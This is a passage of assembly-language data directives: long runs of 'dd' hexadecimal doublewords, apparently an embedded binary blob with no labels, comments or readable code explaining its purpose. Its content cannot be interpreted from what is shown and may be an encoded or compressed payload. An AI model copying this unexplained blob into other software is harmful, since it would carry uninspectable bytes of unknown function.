7F929E3Eh, 0AE07AEE2h dd 34B0EA8Bh, 3BDFC436h, 16807954h, 0BF5F5DCDh, 9500438Dh dd 4DEC1C86h, 294DB6Eh, 9992C737h, 0D8404CB7h, 8900A28Bh dd 7C1615BFh, 1FCEB9ECh, 4971D828h, 8080C429h, 0F6E88169h dd 3496DB00h, 0A2DC19ACh, 31640562h, 0C7CE1CD7h, 0F873E006h dd 9000BCBBh, 0D008FD67h, 15B2B0Fh, 85A3E501h, 30F59F6Eh dd 0B6011F8Eh, 4F13365Dh, 30804Ah, 6E893CBDh, 0E4062Ch dd 0E4F705D0h dd 17003B83h, 0A3826D5h, 17B47361h, 47F58ADBh, 1020EF2Ch dd 1CC56884h, 61E00800h, 27F2DD95h, 8BAC0049h, 0DFA7379Dh dd 440023AEh, 9864C351h, 0FACFA3h, 39E2137Bh, 34258072h dd 4A7CCD00h, 0D7ED0791h, 0F19800ACh, 0AA6855A8h, 0A72CB52Bh dd 5B00CEA2h, 1BC88045h, 0A3B10E3Eh, 42E01292h, 9BFD7A6h dd 0E31C437Ch, 0EDC063E8h, 0BD4B2E38h, 0CA8C1C3Bh, 92DB00D8h dd 78030B8Dh, 4E33C0FCh, 0AF666053h, 4090AD90h, 20F0070h dd 95507D84h, 7900C5B3h, 0C0FFE852h, 45362F6h, 1CF9DF2Fh dd 0E99DC09Dh, 5071C6C9h, 3CFA4E2Eh, 23B7500h, 16C111C2h dd 1F6041D6h, 5B2AC1A8h, 708A1A19h, 800A6A0h, 0A2ABF69Ah dd 572798h, 0CBC8CD6Fh, 1B6DBC2Eh, 0F529C8A1h, 0AD3080C4h dd 2B77B114h, 12D02671h, 5C2F004Ch, 93FA7879h, 0C9FEAA00h dd 3C41778Fh, 0EFEE0C95h, 0BCD9E333h, 3D82CC00h, 23AC1920h dd 0C845605Fh, 7454DCA5h, 0A21EC900h, 51B9751Dh, 9E9025h dd 0F44C3B7Eh, 7C44ACC0h, 6EFEE900h, 821D6676h, 0D85E63F6h dd 0E4E9DCC2h, 3AF17AC8h, 7103E4h, 0F80FABF1h, 7CAFA327h dd 70A6CD5Ch, 0D7E2440Fh, 72C2E03Dh, 4975E7AEh, 310778C1h dd 505FA1D9h, 0A0D4AC30h, 0EA257202h, 0C04FCBCAh, 0E4C6FE33h dd 338E00DAh, 6ACFF974h, 0A53B4081h, 6C7F00E2h, 9D75D1Ah dd 0C23812A2h, 7B784089h, 0E779F206h, 303F5C00h, 8B0D4CC8h dd 143700B1h, 156199F1h, 0F40B9FEDh, 835823h, 0E531639Ch dd 25360081h, 0ECE9F5C1h, 1D0A2876h, 95405C6Ch, 0E89D83Fh dd 2B0EFD8Bh, 365CA1B6h, 0F457161Eh, 0DEEF3710h, 0FDE600A0h dd 1DC1896Ch, 7B009652h, 43B9AF0Dh, 3205F30h, 924B6380h dd 4800C629h, 0AB15BEC0h, 9850B0F9h, 0F0AA58E4h, 963BAC0Fh dd 0BF1A1FE0h, 0EE093EDCh, 80A3828Bh, 595CA4E8h, 5BF700D7h dd 7FFF92EDh, 443DA6D9h, 6903FF0Dh, 336D7772h, 40FEFADFh dd 7B8BCE06h, 19DB0470h, 809CA13Bh, 0D658ADDCh, 0A83F0201h dd 9B3C4DC7h, 0A0CE1880h, 60D3661Dh, 0C960E3E2h, 0D9336331h dd 878C0026h, 36784627h, 8B03A4D5h, 384C410Fh, 0B840BBEEh dd 0EE1F0214h, 883212C0h, 6DACF5h, 0DBFE81Ch, 170A2E0Ch dd 82FF101Bh, 30404CF8h, 3F0E619Bh, 0C07284B9h, 0F55895D5h dd 44CD0543h, 269394h, 8A8B1ADAh, 0C008F10h, 0EF5EECE0h dd 0F9E370A2h, 3D71C130h, 6700E17Bh, 0B3ADD636h, 0F1036F63h dd 83145F22h, 8E44A0CCh, 613F895h, 58D70BB2h, 0E41E30D9h dd 83804D97h, 8BF0F8EAh, 32F6E9h, 9924C6AAh, 56A88472h dd 76E16B3Ch, 0FB50947Dh, 3D0037C0h, 2C5B88F7h, 986CF1CCh dd 99950086h, 0BDE05394h, 0A9070743h, 9E74AFFEh, 0CB1345D3h dd 0D50EB173h, 3E4C020h, 67A7995Eh, 0BDD86C3Dh, 0C100D655h dd 0CFD02E4Dh, 7C0D309Ch, 0A0F3006Ah, 8EFA3FFBh, 74008D68h dd 192EAED9h, 0F0453F4h, 0FF5C22C9h, 16F03780h, 8803DD8Bh dd 2D587265h, 3FFDE0A7h, 107A000Ah, 3DC859BCh, 7000F15Eh dd 8C7C27FAh, 57FFFDh, 0BE7EA4F6h, 0D85C889Ah, 39E88600h dd 6878694Ah, 731A007Ch, 0AB271E8Ah, 0DE09EE87h, 6196FAD6h dd 0A440AD58h, 430F9Eh, 0F1BE8EC3h, 0CCCAB002h, 757DED48h dd 0A902EEE8h, 5A013691h, 0EAB0491Ah, 0EC004C2Ch, 0FD1CF1C0h dd 7B042B9Fh, 8867C135h, 0B36D0090h, 0B2FF09F3h, 78CF59h dd 1A7AF127h, 108F9Ch, 0C0199C78h, 0E7EE00D7h, 7928CBBFh dd 0F97AA5C1h, 0B507B6B8h, 3042F60Ah, 14FE9F40h, 0DE2000F2h dd 8C9CA6E3h, 2B5BD602h, 5880281Eh, 0E0109014h, 121F126Ch dd 8560353Ah, 7760000Dh, 80BFCEA3h, 2AFF0500h, 0F85793A0h dd 0D9F202h, 4213FBD4h, 86D12B09h, 477A490h, 40C99100h dd 0EF3EA314h, 1323E42Eh, 808DDC95h, 41E6A59Ch, 0BCAC6100h dd 36CADB6Bh, 8FC31EA2h, 0FB92C0E1h, 4F40B494h, 8880BA30h dd 0E5D414h, 0F75288B2h, 2B3666D3h, 0D7656A03h, 0A8D5248Eh dd 0EEAA060h, 0C4460B3Ch, 0CA1687C0h, 53EAE4F4h, 0B3334F00h dd 1F9671E5h, 0C4ED0010h, 2799498Dh, 0F00D7DEh, 0F40852F6h dd 0CE9ABCh, 809328CFh, 3EBF09ECh, 8099CA3Fh, 1E2AD094h dd 0A8E88F05h, 4E4B9F4h, 3D5F95C2h, 11A8C106h, 0FBB470D2h dd 81A40501h, 192609DFh, 0C08496F4h, 217ED920h, 9800B842h dd 0E76C2FC8h, 3A0BE935h, 7680DEC4h, 0B0A3263Ch, 0EA0BCDA8h dd 3867C2Dh, 0C855A058h, 0C4449CCh, 0BF14B668h, 0E90D6189h dd 2888A809h, 3A3E3083h, 210EF084h, 0CFA2D808h, 0C81800C9h dd 58A7A9CAh, 0B7000085h, 27A3DB14h, 5A002C22h, 330D5BB6h dd 0F0F00777h, 38B7E6AAh, 0FF92273Ah, 0E88801EBh, 60EE79ACh dd 651E2237h, 0F9C0C963h, 957BE73h, 709D162Dh, 0BFD00B4h dd 7D6C2544h, 0AF33D900h, 0C327CDDEh, 1F190BF5h, 2480175Ch dd 0DFD29660h, 70B04600h, 0DA39FA3Eh, 0B8E009Ch, 73457A98h dd 1009181h, 4D477E21h, 1B67ADh, 4AB6B00Ch, 40D01F5Dh dd 18AB391Eh, 384089D2h, 8271E46Bh, 4909010Eh, 0BD04EC1Bh dd 0A259FCB8h, 48017270h, 0FDE48511h, 0AF2082E7h, 326416B0h dd 0B32483D5h, 0A984E880h, 0FD18ED03h, 80647A08h, 0A2F82Ch dd 0DC976825h, 9D8471BFh, 36693A00h, 0AD881692h, 0B87F0BB5h dd 1423F6B3h, 607BE4C5h, 249DDB0Ah, 4400FCFDh, 0FB3D9021h dd 28D600A1h, 0F5426A9Ah, 0E8002AC3h, 0B3FE03B1h, 25E750Eh dd 91980814h, 0B8D8A79Fh, 0D9888C54h, 71E2B0C1h, 4208A5Fh dd 4B9C002Bh, 3A94B833h, 930CA370h, 21646BD8h, 0E88D0FD7h dd 6240602Bh, 0DB669F73h, 517F7E00h, 4357FB8Ah, 286D3B7Dh dd 0D9C7A500h, 7405D3Fh, 53FA2B00h, 6BEF4E9Dh, 2C9A60h dd 112FCD06h, 3ED6C3BEh, 0ACA08650h, 0E3455B1Ch, 90C14741h dd 81804F54h, 18D3988Bh, 25029BB9h, 31608C5Fh, 5CE02015h dd 2E01BD16h, 61B16999h, 6420067Eh, 4BDE0BEAh, 6D80B33Fh dd 0F151BC55h, 6C008FFCh, 0B8917ECAh, 0D24958h, 251908ABh dd 214541A2h, 9502A4EEh, 163496E7h, 49C46087h, 93AD009Eh dd 0BCF3A682h, 0A200A96Ch, 991253A5h, 7AD35D18h, 66F00E6h dd 726B5C38h, 95267326h, 0F10121E2h, 7BFED318h, 1B3A1C0h dd 0DE496E74h, 0C8ADAB0Ah, 0FB004503h, 47B86B09h, 0E66449Eh dd 9B247CDFh, 829FC8C0h, 0D8011749h, 7F62E29Dh, 60202D4Eh dd 0DE363C5Fh, 4B737801h, 0D0FF0781h, 6C3090D2h, 226F6A10h dd 6A851DD7h, 0D475C069h, 37C9749h, 3A1739h, 279538E9h dd 1CA7D7h, 0FD5DE1CBh, 0ACB775FEh, 0ECA55C0Eh, 0C96D21FBh dd 0B9F0B511h, 0A02B00FCh, 0A75DCB3Ah, 400F665h, 4DB1CCDAh dd 600F43h, 64B65BF0h, 246507D0h, 41A86D00h, 0BD61CCD8h dd 5B580068h, 0EF2FDE1Fh, 0E51C4D2Ah, 410F555Dh, 267700DFh dd 0C02BB9h, 4A44E76Bh, 12ECA0F6h, 36F9F409h, 0A06B88C2h dd 8661BC00h, 476304h, 0D5FF9BA0h, 0FB24FD79h, 520112F0h dd 0B92FB633h, 9080918Ah, 66CCAA8Eh, 0FB001F20h, 2FFAC1BFh dd 5FD2D3h, 62657EABh, 0FC7FB237h, 54CC5A01h, 0FFB9106h dd 0EC77089h, 3CE0DA89h, 0E7277A1Eh, 0BB7052h, 699D0837h dd 347DDA5Eh, 44D68B50h, 0A9CF7216h, 0BC1D6020h, 5FD7B0Dh dd 0B9B3FFF5h, 0B650E0BBh, 45F4AF00h, 0B8868B9Fh, 1D72E4h dd 77A063D6h, 0C679D474h, 760016EAh, 0A47F2E27h, 4E06E09h dd 524CFC21h, 0C548D3C3h dd 20D8F0C1h, 3AFA4ED4h, 0D6067D0Ch, 7D016850h, 4347CB5h dd 0E38D8ADAh, 2A08C864h, 32489900h, 7672062Eh, 0FCFA5842h dd 9560B80Ch, 0AF0154E8h, 12A7E9B1h, 43D47D9Fh, 16500022h dd 859323B7h, 6213BC37h, 0AB0046C1h, 74FA9DEAh, 6D3300BBh dd 0E4C6F254h, 7F0702ACh, 45130D48h, 0C11AF5C1h, 1EEC93F0h dd 80B6203Bh, 5C7CBF71h, 7FA8BF3h, 2B786101h, 0F0FA868Dh dd 0E6C1080h, 1530A655h, 0FDD31F00h, 44B9BDBFh, 0C8B11C9Fh dd 7D754053h, 439CBEAEh, 3BEEF93Fh, 5EAC8022h, 81E4A279h dd 19970708h, 0DE207F0Ah, 0EDB98858h, 8D5F2407h, 6810D1A8h dd 1271CC4h, 213CFB36h, 0D078B017h, 7E00A152h, 0E8702881h dd 343087h, 0F2DC3D15h, 0F7E2970Ah, 360F3E7Fh, 41322FFCh dd 0F9317DA5h, 656D25C4h, 0C08EF9F6h, 1B0B9A18h, 0F2010C0h dd 2B651BDh, 65965A32h, 0AEC06A99h, 8A00C4A9h, 0C15B8566h dd 309BC3h, 29FADBCDh, 0ADCB6AB9h, 0D988678h, 0C14BA09h dd 0AF0F83D4h, 0F33B99CCh, 0E641C4h, 0C1549E90h, 850545F7h dd 0E5F66474h, 0E90FE003h, 0A76B0BF3h, 0B2C96A70h, 2F811855h dd 58C0B839h, 47A0A1Ch, 33CE6447h, 680B8590h, 60130989h dd 240039E2h, 49EFA379h, 14809A00h, 48D95310h, 11880EC1h dd 6A208291h, 0E9D6BB1Dh, 2904C200h, 680374D7h, 875E00FAh dd 4D8893EBh, 60071D24h, 0CCC72897h, 417419F0h, 40D6092Eh dd 4583209Fh, 0E4F8B5A5h, 892EE8C0h, 3920FDh, 19F02D4Fh dd 24955Bh, 50F2EDA5h, 6EAAD7C7h, 28BA6700h, 34F3B959h dd 696D03C9h, 0DD5CFA0Ah, 86DABB90h, 0ECF8167Bh, 0CD3D0301h dd 5967BB3h, 1864ECh, 0CF8B4519h, 2D2212ACh, 0C820200h dd 325B57B5h, 44EC0068h, 27F04350h, 3900EBF5h, 1ED15FACh dd 465EA7h, 6BF9346Ch, 0BEA5CD5Bh, 0FD1BC0F9h, 7455E20Fh dd 9E93A052h, 12EA448Ch, 0B941D0h, 0C63C63F6h, 75009A89h dd 0ADF36FFEh, 3C2CE556h, 2180BE96h, 0B0DD0B16h, 353F2B6Bh dd 56F100E8h, 8CFD26E0h, 8A3B00A9h, 74DEC599h, 6D0006F6h dd 76A8FF5Ch, 483A124Ch, 70003866h, 0C09EC7DDh, 0E90015D7h dd 7AA92B1Bh, 0A45BD5h, 0B71D2FB0h, 0D605DB1h, 2B0021E4h dd 50AAFDCEh, 613DBFh, 0B0C654E4h, 8E8F96A8h, 0A5909500h dd 0D43A33F8h, 4277006Fh, 210B97Dh, 8C179B59h, 0CFF836F6h dd 85324D00h, 0E424AF14h, 0C251A00Fh, 0F6428494h, 8F0880AAh dd 4400B8AAh, 651ED79Ah, 20F28Dh, 41382630h, 19352FC8h dd 62CF9E00h, 0B644AACBh, 0FEF8005Fh, 7DA03411h, 42FA50D5h dd 4FA8C30Fh, 82DEA0E8h, 3833ADh, 726A60BEh, 0E197E451h dd 0CEEB7000h, 0C641EEAAh, 7B171C4Dh, 0D45EC0FFh, 54589C86h dd 0A136DC00h, 0CAD6AA27h, 2C0B4C3Ch, 0A9D90C07h, 3A4BF0BFh dd 0DE24563Bh, 800E44Eh, 3EF94F2Ah, 6FC3001Fh, 5195D240h dd 0A4009A88h, 76E34466h, 1BFFB4h, 3F231A4Ah, 9077262Bh dd 0C448F600h, 0F5700741h, 0CCD400B5h, 0E11DEBAh, 1E3FC987h dd 0E1EB00FBh, 0E6D9EE67h, 78A70552h, 809BA9F1h, 284B26E9h dd 0AE77881Dh, 8C933B4Ah, 0AB64F900h, 2847D5Eh, 0EE87E53Eh dd 0F06020D4h, 4800F360h, 3FCD96E4h, 904EDA5Fh, 84AE001Ch dd 0EB338979h, 8600583Dh, 7A55105Eh, 80F562h, 2D54A8BAh dd 5695510Ch, 0C7F88F78h, 0DA064C00h, 0D217CCCFh, 281100F8h dd 644D1339h, 0BBEC4FF9h, 778C8400h, 0A8E048F0h, 1A330049h dd 0C399E122h, 3000031Fh, 6257E2FEh, 128F7C54h, 5368B89h dd 82941498h, 0E040D579h, 0CF2E586Ch, 8600E21Dh, 1712C2B0h dd 7F330054h, 0F9F8EB02h, 0CB003011h, 3801C37h, 0B2E4EF3h dd 9E9DF6A3h, 799A4022h, 7D68D540h, 2C5D4A0h, 0A8BCCB50h dd 0C1007FE0h, 89D35DC7h, 4C56371Eh, 1801983Ah, 0DCF172E1h dd 0A25C4AAh, 852D6800h, 0B7551101h, 91C2023Ah, 384C500Fh dd 7DF7D060h, 31289600h, 89A348B1h, 0E50C002Fh, 0A93265C2h dd 9898D442h, 5B00DDF6h, 0BEF470A7h, 1FD8AAD3h, 0FB3089h dd 358E66Ch, 0FD30CD14h, 1FF0E0FAh, 0B61D02C1h, 0C7685AC2h dd 34BB9B60h, 55A9EC0Ah, 0A601DC5Fh, 2A9A838Dh, 694FFA81h dd 0DC44CC70h, 7324D09Bh, 0A50078C6h, 0D69EA3ADh, 0BAF60A0Fh dd 99CC2Ch, 948E63E9h, 0C3005F15h, 46ABCA26h, 0EE4B0442h dd 0D9010017h, 0B5483A44h, 2700CC34h, 0C674E1BEh, 9CE4EE7h dd 0A51E7A01h, 49ACD420h, 16007E98h, 54C4E710h, 1B92D3h dd 5387799Fh, 9EB92DF9h, 2BAEAD0Fh, 6D1EE0B5h, 0B56FA70h dd 0AF4421DBh, 0E7992A80h, 7512C99Ah, 0D400D267h, 0D5F2FF5Bh dd 0D35E2EC1h, 62BF8028h, 354E93CEh, 4D786602h, 7BB1030h dd 3AD69079h, 0C80105A0h, 84CDD0E4h, 0DD83EC9h, 2B1D00C4h dd 32DF69AAh, 5398BC0h, 4C0FFD6Ah, 60582DB3h, 8E4FF387h dd 0B2ED0037h, 62EE5438h, 891D1FA7h, 36855CE0h, 0A28025A5h dd 3B0FD283h, 3D814AD3h, 0F6A13F6Dh, 8CF3606Ch, 0B3BC055Eh dd 6389F43Dh, 0A485E571h, 3C81FF69h, 2ECC7B07h, 428B00BBh dd 345CEADEh, 7A006C10h, 0B7856BD3h, 1CC1822Fh, 0C2866F21h dd 5345360Ch, 0C480F962h, 41371454h, 92CCA000h, 0D079F5CDh dd 243C00BBh, 0D685FF25h, 2D00675Ch, 3EDBE86Eh, 99422Bh dd 2877AD84h, 0F2CFD6DCh, 3A1D250Eh, 0D29D04C8h, 139B9800h dd 0A25D8384h, 1253FD4h, 90D2738Eh, 0A06B66EDh, 8300C55Ah dd 99D9C105h, 0FDE988h, 0C0931E82h, 217F6106h, 17E41100h dd 975BC555h, 0F450B0A1h, 0D4D3914h, 1AA93680h, 45A26EFEh dd 80A3D63Dh, 3BE28473h, 242E6708h, 3D72AFC8h, 20F7480h dd 0EA0B44B5h, 3B01DA00h, 750E3638h, 7D2B0018h, 0F966B79Fh dd 24817A9h, 9D80004Ch, 62AC3235h, 12D090A0h, 40BED908h dd 809E1820h, 321C51CAh, 9C3AF704h, 0CF832ECCh, 0D06EA621h dd 237DF5Ah, 7D66B53Eh, 4C483538h, 0B7580A07h, 773C54E2h dd 0A58BFF07h, 9C30666Fh, 756AD8h, 0E5AD6201h, 6DF4A02Ah dd 2CD9CD00h, 0D5CF6828h, 0C33A0014h, 611FDEBBh, 4800AD36h dd 0A12E8164h, 94AE37h, 3D70783Bh, 24DBE731h, 3CB095EAh dd 934BD00h, 0ED867774h, 0E0B02Bh, 8418CBF1h, 0A9610F06h dd 7CF72401h, 9F70B4D3h, 148880C2h, 24610DCh, 0AF27199Ch dd 0E4E08797h, 9A00CE47h, 0FFE5634Bh, 0BC7BE7h, 1630F3E9h dd 25053804h, 82FA0E3Fh, 0B8D6C427h, 0B531E1CEh, 5C7FE840h dd 0B64100BAh, 0F5ABA984h, 4A27F19Eh, 0D2DC99h, 0A2B0C5B8h dd 5B00C70Eh, 285DE2BCh, 13C50C9h, 9C0FEAA3h, 71FD2254h dd 0FC7C3010h, 1CB51B00h, 0DE164DEDh, 93F400B8h, 0C16834CBh dd 9D58526Ah, 61C0288h, 4379149Bh, 0C0A480B9h, 0F22B0ECEh dd 845D9AD9h, 0A0359630h, 7002188h, 5FF42D11h, 4CB3A7A0h dd 0B900DEF6h, 0A47E7546h, 123C30EAh, 66BC39h, 0C7985292h dd 7C111FE4h, 6C9A4817h, 18F8151Fh, 0B40C4DEh, 0EA07911Ch dd 0C7023300h, 0D699EE82h, 1D1F0328h, 390046C5h, 754F223h dd 30C255EFh, 19192B5Eh, 8E00B26Ch, 9BA7EAD0h, 48B6FC78h dd 4A00940Ch, 6E03AB71h, 373D553Ah, 0EB5E8005h, 0DB8FCDCFh dd 40FB0A0h, 0E3C8D523h, 0D190C064h, 0A1005BD3h, 51F0BCD6h dd 32A4347h, 567C7F98h, 8F0BBCBh, 6B6773FEh, 0D1804930h dd 89039Fh, 0CBD3A692h, 5BF36393h, 20B7DF13h, 4A663500h dd 7B04F11h, 9D7812BFh dd 610870C6h, 342E5182h, 9B00C9E1h, 3B6AEF1Fh, 0E03E7052h dd 9F420057h, 546F0BF2h, 5A1DC6F0h, 0E40036CBh, 992907D7h dd 0F44A0097h, 0BC07FD3h, 0F906412Dh, 0FBF1454Eh, 0C6EF0141h dd 0B3C49771h, 4FBF6001h, 44153300h, 0D8610D9Ah, 0B0953CC7h dd 77DEC581h, 801210A7h, 0E5E23382h, 0DB6176h, 0AEE09B4Dh dd 69B3084Ch, 932ABE0Eh, 3B0C0057h, 4C1E9h, 0FBF875D9h dd 6028CC29h, 0C732E500h, 8E83A9B0h, 4C9213h, 0A3EA9A49h dd 8FBAD57Dh, 29C0F5FAh, 0A01DB3F9h, 0BB7C3D79h, 52246A1Eh dd 0CE6C03FCh, 0FAF0B8EAh, 0F0227D2h, 53A9121Ch, 4B5FCBCh dd 0C0A58E98h, 5AE3F900h, 4513AB03h, 0F8E8D629h, 1C9AB34Bh dd 0C0DC56D3h, 0C1BEE934h, 2C1F62E7h, 0BCC0C971h, 41F91FA9h dd 0F23CE2F6h, 7AAB00FBh, 8F3046E2h, 0E3B5BC8h, 0D2A1785h dd 57D4F40Eh, 0A524C004h, 755A8D01h, 42B0E056h, 8348E27Ah dd 0D700771Ah, 7039CFE9h, 499516h, 94BAAE73h, 7D859A74h dd 0F5548300h, 0C46F7C41h, 876B001Ch, 0B764AA13h, 2D136CC3h dd 0DC8098EEh, 7172C474h, 307D5982h, 4C516A03h, 111F04EAh dd 748009D8h, 0FE91502Dh, 0ED121624h, 347C00BCh, 0FD60EA69h dd 75519967h, 4F607137h, 75A4B13h, 0FEF12A03h, 0A89E28FFh dd 8D985880h, 1F2242D7h, 1456C4Eh, 0CAA798Ah, 2CC7C513h dd 0DB0E8008h, 6E3A2Ah, 0E7118302h, 9379FB4Ch, 0A816E84Ah dd 0EB121906h, 0D55C3A61h, 567B2C8Bh, 0CB79B980h, 6E00A9B8h dd 47953946h, 120350E4h, 80F72FF9h, 5DC9C564h, 0D5621C03h dd 1D5ACCE7h, 1DD058h, 677AD1EAh, 0C006F70h, 0DE527316h dd 0B85B91h, 46EED8F6h, 44BF9E1Fh, 880F0C9Ch, 53EB80F7h dd 1A3547h, 9196459Fh, 29DF51CFh, 196C0E07h, 0C9077DBFh dd 5CFC80F9h, 16D02E8Fh, 9D9DA1Ch, 3060DD93h, 9A70771Dh dd 0F76B2800h, 88CA87Ah, 0F1E86001h, 0D497AACDh, 0D089C100h dd 1D6593BDh, 5BE32DADh, 0E7683410h, 9D4B5100h, 0AFE68FB9h dd 3BC313C6h, 0F93C00E8h, 0C9352331h, 0AA24CE06h, 18D5D8h dd 147F9491h, 57830D47h, 0FA3D2501h, 0EB4ACCF9h, 4D1FFC5Ah dd 97803965h, 0BAEF3ED9h, 0D50464DEh, 0E70FA21h, 0A8697080h dd 10A91C86h, 494BC030h, 0FA66E53Eh, 4305F890h, 2DCB7611h dd 656E1887h, 8840F7DFh, 0C19074A1h, 63F2D8h, 41841E12h dd 0CCE0109Fh, 0DCFB9300h, 6582A091h, 87113ABFh, 1FC10600h dd 51954E69h, 195AE81Eh, 1F76ADh, 263F04ECh, 8F001220h dd 38CE9960h, 0B92E0Eh, 0B89B8E9Eh, 9DA5A12Dh, 0FF265A00h dd 0AC4C0378h, 0A9B9002Ch, 9A7F7D1Eh, 3F5C3EC1h, 0E1920000h dd 0BA4EE953h, 0DC730081h, 92A17AEh, 2006362h, 6B2D4456h dd 0B0559B26h, 54870098h, 10B47DA1h, 9500780Dh, 829E97E2h dd 0E516ABh, 0FA2D31CAh, 0AE12B6DFh, 4B495000h, 3FFD4D70h dd 6CCE0086h, 0F07E96CFh, 0E01B71Ah, 0DFA450E3h, 0A6D0D1D9h dd 970040Dh, 0BEC46AFDh, 7FA70AC0h, 21CE04Ah, 47D3FFB5h dd 0B1405154h, 0F3AA55Eh, 0C9D582FAh, 53611360h, 0D89D81FCh dd 24C0206Fh, 22009400h, 3D7F1EE5h, 90C9A0EFh, 287612E0h dd 0D3600040h, 338519C8h, 802C3E03h, 0C0350550h, 0EA0D1D0Bh dd 0F0C854A3h, 78744888h, 61B22586h, 0C3E9CD10h, 0C0389B74h dd 63782CE7h, 94C27924h, 3EE89C01h, 5834F425h, 4CE60071h dd 0A6EB0A4Bh, 0D0C0F11Bh, 6B3CFEE0h, 37CA0FD6h, 0BE20631Ch dd 2F16EEAh, 2F909F05h, 0BB14B79Eh, 995E00CEh, 56886BC7h dd 8B6300F1h, 648A3F45h, 0DA3A6AC0h, 0A2AF00A1h, 0B8766F9h dd 30E50968h, 8480A3F1h, 0F22AD2ABh, 80505F3Bh, 4AF84DC9h dd 0E807A0h, 0D46388A1h, 6F1DF13Eh, 600B9D0Fh, 949E7h dd 5B8A05Eh, 3E220039h, 2B2CBE3Bh, 0B300A289h, 83FDF00Ah dd 1EC3DA6Ch, 0C086AE84h, 2B59C5B7h, 1207AB73h, 0F38C26Fh dd 0F3ACCD20h, 0B97007Ch, 0DF02E810h, 7601DC01h, 6995C0A8h dd 0FCC481AFh, 0FB8033Dh, 0C4118CD3h, 0B1265800h, 8387BF90h dd 7840000Dh, 5C5D8ADFh, 2000B518h, 1C63B22Ch, 0D80A66h dd 8FDD52A6h, 7FA139D4h, 0CBEE5D28h, 5FBF4600h, 38044BCDh dd 33703AEAh, 1F09AD80h, 0E1F08A75h, 0F2257A1Dh, 0CA9D8039h dd 0EEB1284Ch, 0FAA0A397h, 8FB6C0A4h, 0B8A0045h, 0B1F1E5F0h dd 0E763DD4Ch, 8841BE90h, 307F3D1h, 0FD2D6E8Fh, 6600DB6Dh dd 0F83D05Ah, 3AF0CCABh, 0FA3CD903h, 0F360F372h, 586F00B0h dd 0E49A1B79h, 0CC0328A3h, 0C54D412Fh, 982BF372h, 8C0F31h dd 0B1E6C369h, 3EB4C2E8h, 75CA1E09h, 0F849805Ah, 98EC8Ch dd 0BE031733h, 16A551Ah, 0D591771Eh, 85D44580h, 58BD1C4Fh dd 8403D76Bh, 0E0ED03B0h, 1520C698h, 768A4000h, 0B3539668h dd 6FD21FDBh, 0E686C00Ah, 4A8E48Fh, 0E000A4EAh, 374A1F7Ch dd 77017635h, 39DE0371h, 68819F65h, 0FC4B73A1h, 0DC00329Bh dd 26C5F5B1h, 0CC0A3Fh, 0A7FD8220h, 83D185ECh, 0CBE90E07h dd 0B0801A54h, 0E40181h, 9B5BBECEh, 0B7C30967h, 0CCED0B00h dd 0DC06563Eh, 4F82009Ah, 13A00FBDh, 0AE00A344h, 9BE1C469h dd 41CCF3Dh, 0A504687h, 2A2CC035h, 0F800ED29h, 15C4EEE7h dd 0CEB1856h, 651EAAB0h, 0C6000820h, 9C3A2B22h, 1E6A547Ch dd 9C9AA979h, 0E6D90645h, 3CEA2864h, 0DC313Fh, 2D65AD9Eh dd 1D20E02Bh, 406DA239h, 0BD17F7B5h, 7016043h, 0EF0A101Eh dd 8020578Ah, 40480005h, 0A4655267h, 2100DE43h, 2B8A7893h dd 9D1F590h, 77595691h, 0BA536585h, 0AD204A87h, 73B5331Bh dd 6EFC8Fh, 0BD22AF18h, 1527E257h, 167D9200h, 0D5899EE3h dd 0D46B0775h, 65D7B9h, 0CCB0AAF0h, 8F9C4C01h, 9B8162ABh dd 0ACC09840h, 1C4D01CFh, 53B90B6Ch, 0A9F7EC39h, 0A89DBC03h dd 98F686E2h, 800D99h, 0DA93BB4Fh, 1005F01Dh, 4D472C00h dd 7482E668h, 6E9400D1h, 7CC56FF4h, 0CF0035D0h, 426B97B1h dd 7C74D6AAh, 7B3B3EEAh, 93EB8000h, 6D61B701h, 0FEC74603h dd 0DACE2662h, 81C48209h, 1FA4C0D5h, 523A0711h, 0C08697B8h dd 0A47B2690h, 0CF95F404h, 0AC80174Ah, 1E1DA3C5h, 0A0D836h dd 0B4DCE126h, 503EB92h, 73D2CF18h, 0FA5BB0D7h, 90C0A85h dd 1C8A370h, 8ECA8B8Dh, 0D840316Dh, 6C023265h, 63E9A42Bh dd 76D481BAh, 3182FE43h, 3B3C35CBh, 4C63E540h, 77001EF6h dd 95C639C0h, 5B347Ch, 85EB0273h, 363190C8h, 84004C90h dd 1C38CF04h, 0F7C9257h, 0B2569452h, 0FF1ECBA0h, 28002506h dd 3DBA4855h, 0E6DD8FEBh, 33F022h, 6B1F7A21h, 0C6C5B319h dd 553A5202h, 407ED3B9h, 269627B4h, 7C9BACh, 0A7D613CAh dd 6C005E7Dh, 8B8BD9Eh, 1E2E357Bh, 3978E7h, 2CF16822h dd 20E6C724h, 35969A07h, 32C0C10Ah, 594AD4h, 0CBB01267h dd 4602D18Bh, 50A0DA00h, 9D41E4DBh, 5928003Fh, 1E6513A9h dd 87002E64h, 59C4B60h, 48867Ch, 98B03F10h, 69E28CEEh dd 0C5007BE4h, 0E1CC4E7h, 0A9ABB112h, 59E4C98Ch, 6DF30156h dd 0CE23588Dh, 0D8046550h, 0EB0082E1h, 0A49C96F2h, 0E0D075D7h dd 0FF7938A8h, 351E6F80h, 640D3E2Ch, 341C9D00h, 1AE17660h dd 20FC59F0h, 57E97C0Fh, 30506880h, 47788AB1h, 6C959106h dd 0E88BAA5h, 6EDDB2D3h, 0FFE9CF80h, 18C0AD57h, 3FFCD605h dd 4D30C75Fh, 6CBF404Fh, 1C034504h, 0F2C2E54h, 2303A0D0h dd 5CC50044h, 35A74F6Ah dd 0FC2C7A39h, 7BC90CBh, 0B1059FDDh, 2A3FBF40h, 79C06065h dd 44B51646h, 5F30A801h, 0EF1ADE76h, 0FEEE6041h, 82D14840h dd 0C07772DDh, 0CCD37138h, 10A002E9h, 1CA0EB1Bh, 307BB070h dd 7F8E1600h, 0CC736BC3h, 6C89486Ah, 7432AA01h, 0E0863192h dd 0B000AF60h, 219E376Ch, 30019806h, 7A18B5BDh, 823C5441h dd 0DE9980CDh, 30EEFC47h, 20B96EA2h, 0AC506C63h, 0DB998001h dd 0A3224132h, 55153080h, 2A50DCA8h, 1611680Ch, 1BEF189Ch dd 409ACC30h, 31D2F4E0h, 6E835D1Eh, 52197C02h, 0B784008Ah dd 0D0C0CB7Dh, 0ECFE4B69h, 52B00CF8h, 0B4E9FDD4h, 6C6909C7h dd 0EF9C848Ah, 9851501Bh, 30219973h, 11D1BDD2h, 0C71C6BB3h dd 0B0BB85BEh, 48641C5h, 24957D87h, 8750B5D0h, 0E0A62B2Eh dd 98D71A30h, 0BE7C32FCh, 